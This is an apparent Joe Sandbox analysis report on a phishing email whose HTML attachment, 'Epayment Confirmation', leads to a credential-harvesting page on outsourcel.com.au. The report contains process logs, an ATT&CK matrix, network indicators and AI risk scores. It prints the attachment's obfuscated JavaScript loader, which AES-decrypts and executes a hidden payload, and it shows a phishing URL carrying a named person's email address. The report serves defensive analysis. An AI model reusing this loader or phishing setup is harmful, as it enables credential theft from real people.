Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\03ABCFM0\(Epayment Confirmation.htm
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1984,i,9123615028965336827,6357989353299673973,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{ED475410-B0D6-11D2-8C3B-00104B2A6676}\InprocServer32

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Rundll32	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	Security Account Manager	13 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/03ABCFM0/(Epayment%20Confirmation.htm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.66.137	true	false	high
outsourcel.com.au	188.114.96.3	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
s-part-0036.t-0009.t-msedge.net	13.107.246.64	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.184.228	true	false	high
aadcdn.msauthimages.net	unknown	unknown	false	high
15.164.165.52.in-addr.arpa	unknown	unknown	false	high
cdn.jsdelivr.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/03ABCFM0/(Epayment%20Confirmation.htm	false	Avira URL Cloud: safe	unknown
https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego.zonta@beantech.it	false		unknown
https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.64	s-part-0036.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.67	unknown	United States	15169	GOOGLEUS	false
142.250.186.170	unknown	United States	15169	GOOGLEUS	false
104.18.187.31	unknown	United States	13335	CLOUDFLARENETUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.109.89.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.23.110	unknown	United States	15169	GOOGLEUS	false
74.125.206.84	unknown	United States	15169	GOOGLEUS	false
52.109.68.129	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
52.113.194.132	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.67	unknown	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
172.217.18.4	unknown	United States	15169	GOOGLEUS	false
2.16.168.119	unknown	European Union	20940	AKAMAI-ASN1EU	false
104.46.162.226	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.109.28.46	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.114.96.3	outsourcel.com.au	European Union	13335	CLOUDFLARENETUS	false
142.250.186.142	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585299
Start date and time:	2025-01-07 13:28:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	Quarantined Messages(3).zip
Detection:	MAL
Classification:	mal52.phis.winZIP@20/24@31/195
Cookbook Comments:	Found application associated with file extension: .zip

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 52.109.28.46, 52.113.194.132, 52.109.68.129, 2.16.168.119, 2.16.168.101, 52.109.89.119, 104.46.162.226
Excluded domains from analysis (whitelisted): omex.cdn.office.net, odc.officeapps.live.com, slscr.update.microsoft.com, europe.odcsm1.live.com.akadns.net, eur.roaming1.live.com.akadns.net, mobile.events.data.microsoft.com, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, osiprod-weu-bronze-azsc-000.westeurope.cloudapp.azure.com, onedscolprdaus02.australiasoutheast.cloudapp.azure.com, login.live.com, frc-azsc-000.roaming.officeapps.live.com, officeclient.microsoft.com, a1864.dscd.akamai.net, ecs.office.com, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, osiprod-frc-buff-azsc-000.francecentral.cloudapp.azure.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, weu-azsc-000.odc.officeapps.live.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, s-0005.s-msedge.net, config.officeapps.live.com, ecs.office.trafficmanager.net, omex.cdn.office.net.akamaized.net, europe.configsvc1.live.com.akadns.net, prod.odcsm1.live.com.akadns.net, mobile.events.data.trafficmanager.n
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetValueKey calls found.
VT rate limit hit for: s-part-0036.t-0009.t-msedge.net

LLM Input / Output

Input	Output
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet simply reloads the current page, which is a common and benign operation. This behavior does not indicate any high-risk or malicious activities." }
window.location.reload();
URL: file:///C:/Users/user/AppData/Local/Microsoft/Wind... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code. While the script appears to be decrypting and executing some content, the nature of the decrypted code is unclear, and the overall behavior is suspicious. Further investigation would be necessary to determine the full extent of the risks." }
var _0x1038d1=_0xeced;(function(_0x5afb3a,_0x18ec5b){var _0x3ece57=_0xeced,_0xa98562=_0x5afb3a();while(!![]){try{var _0x4f822f=parseInt(_0x3ece57(0xf3))/0x1(-parseInt(_0x3ece57(0xdf))/0x2)+-parseInt(_0x3ece57(0xee))/0x3(-parseInt(_0x3ece57(0xe5))/0x4)+parseInt(_0x3ece57(0xed))/0x5(parseInt(_0x3ece57(0xf1))/0x6)+-parseInt(_0x3ece57(0xe6))/0x7+parseInt(_0x3ece57(0xe1))/0x8(parseInt(_0x3ece57(0xe0))/0x9)+-parseInt(_0x3ece57(0xf4))/0xa(parseInt(_0x3ece57(0xf5))/0xb)+-parseInt(_0x3ece57(0xdb))/0xc(-parseInt(_0x3ece57(0xf0))/0xd);if(_0x4f822f===_0x18ec5b)break;else _0xa98562['push'](_0xa98562['shift']());}catch(_0x4ef6bd){_0xa98562['push'](_0xa98562['shift']());}}}(_0x58a5,0x64303));var qkEBgCzm=document['createElement'](_0x1038d1(0xdd));function _0xeced(_0x530cae,_0x2cb41c){var _0x58a50e=_0x58a5();return _0xeced=function(_0xecedab,_0x5548be){_0xecedab=_0xecedab-0xdb;var _0x44a84a=_0x58a50e[_0xecedab];return _0x44a84a;},_0xeced(_0x530cae,_0x2cb41c);}function _0x58a5(){var _0x274cfe=['4279066TJiFZj','enc','247524soIMIS','Base64','script','{\x22a\x22:\x22jdxN9An1fHHy5THbHrlR/J7ec2qAYJeAn/+gB/XAkF52AAYyy3JHGi0xpQn/Y3KCcyMvlQOWauTig1T62PN686dAgPOC7YFGYJLoP7DELXojNbTZUzhdqwyWKeXgQ8/ldXWXYyQrMVcD1QIJY2BxrQ/F7vFPlXJSeExXkp6JbagjAraDe8WElRAy8GTSNs7jaoYuZpvCnOaGkGVOWFNKfbcU03n80tTyTdB50w9orrv/EKVmqhDZSCWS7Z0qAlxQEnA6+luaSG2P5q9jTJEs2yT89SJBUZl6oFfaZSS+vJUG2mzaF7Mh37sKyWp7yAYmbT/Lvxpq4u64o2sI0jToelJE98SWQVqFwFjI+6xEv/elYvvSWp5EkNBrBt8zRj63yVxL2TSf5okEq+Po3Pq0Aj6Izsp/aPJj5w2dkfB8f1nxANbbd+C5fex4CflMSEiS8LPKL0PNNs7u45cAP3PnjLizoJBVpILtHajHayQGgcCx2R6wpp1IpGVtw/fzNKTAHlO83jPn3oJjXpDt/YeLwo8Uhgn2kaong1qv9GFBuWYGQNKBlaJ4R2QD3B1jj8ktLJ6VlBv99Qjc3jqbkOvcjOtQl4nfhurY/TuWzRH8nUZW6LzoQdRTlcwDkl+IBN3TUSBJ+D2r54h3cpnEnnH+yqmK2y/dvNnbIrfRfCaFMH3chZpmda9IORj9rPxvn+cOIsKCOKwXcAFoiABIuP5DWRCzwVz6WCc35CDVJsUHykWi65mkoWMb+qoaBqWJhUZ696Xfk+CMLcn3QXyRpGyI9S3+PWTJdCExEzozOnAoU2uaQflEZCFzhgl39Q2hG34ZtUPe0L3p5uVY3VpbS5FVkQw7MKLWAznMVgykk0frEZa7fLRX+2ZZqM5RtpRlp7c6CMIe+4dGU1LmpCATjqDfsHTVQe7EbtjMtTNDWnfcH2dGxSyr6TStW/YlritIr7MzcZfkyMjUBIQqn0/ygfGtZIBrAvHLgujA0c3JvBOt3baToNR/vvTfrAqvHSP3FHeiQH34plIEdZ2AX5Pa7oN8Mw==\x22,\x22b\x22:\x22fae9b06c864778c250ab1312f2c178eb\x22,\x22c\x22:\x227425db6ffcc3471cefa86a1136a6a7c7\x22,\x22d\x22:\x22eJxDYpCt\x22}','38xThESP','9BdiGmc','54616useFuv','toString','setAttribute','src','4QBNRrt','3178546KkyOPI','append','Decrypted\x20data\x20is\x20empty\x20or\x20malformed.','Hex','parse','Utf8','algo','2545zUrivB','761907XJOQOQ','decrypt','715KstOmV','5658QXwwAb','AES','32727fMgRnS','10qkBQdp'];_0x58a5=function(){return _0x274cfe;};return _0x58a5();}qkEBgCzm[_0x1038d1(0xe3)](_0x1038d1(0xe4),'https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js'),document['head'][_0x1038d1(0xe7)](qkEBgCzm),qkEBgCzm['onload']=function(){var _0x45a19f=_0x1038d1,{a:_0x7a73c5,b:_0x56fffd,c:_0x31415a,d:_0x1297cc}=JSON[_0x45a19f(0xea)](_0x45a19f(0xde)),_0x334573=CryptoJS[_0x45a19f(0xf6)][_0x45a19f(0xdc)]['parse'](_0x7a73c5),_0x140243=CryptoJS[_0x45a19f(0xf6)][_0x45a19f(0xe9)]['parse'](_0x56fffd),_0x2a92c1=CryptoJS[_0x45a19f(0xf6)][_0x45a19f(0xe9)]['parse'](_0x31415a),_0x55413f=CryptoJS['PBKDF2'](_0x1297cc,_0x140243,{'hasher':CryptoJS[_0x45a19f(0xec)]['SHA512'],'keySize':0x100/0x20,'iterations':0x3e7}),_0x3be296=CryptoJS[_0x45a19f(0xf2)][_0x45a19f(0xef)]({'ciphertext':_0x334573},_0x55413f,{'iv':_0x2a92c1}),_0x411796=_0x3be296[_0x45a19f(0xe2)](CryptoJS[_0x45a19f(0xf6)][_0x45a19f(0xeb)]);if(!_0x411796)throw new Error(_0x45a19f(0xe8));_0x411796=_0x411796['replace'](/aOZoibdx/g,Azqif);const _0x4a933f=new Function(_0x411796);_0x4a933f();};
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscated nature of the code further increase the risk. While the script may have a legitimate purpose, such as a challenge platform, the overall behavior is highly suspicious and indicative of malicious intent." }
(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8fe3f4ac9cbeefa1',t:'MTczNjI1Mjk5MS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange\|\|function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscated nature of the code further increase the risk. While the script may have a legitimate purpose, such as a challenge platform, the overall behavior is highly suspicious and indicative of malicious intent." }
(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8fe3f4a6dc7342d8',t:'MTczNjI1Mjk5MC4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange\|\|function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();
URL: file:///C:/Users/user/AppData/Local/Microsoft/Wind... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirection to suspicious domains. The heavy obfuscation and use of encoded strings further indicate malicious intent. While the script may have some legitimate functionality, the overall risk profile is very high and it should be treated as a potential security threat." }
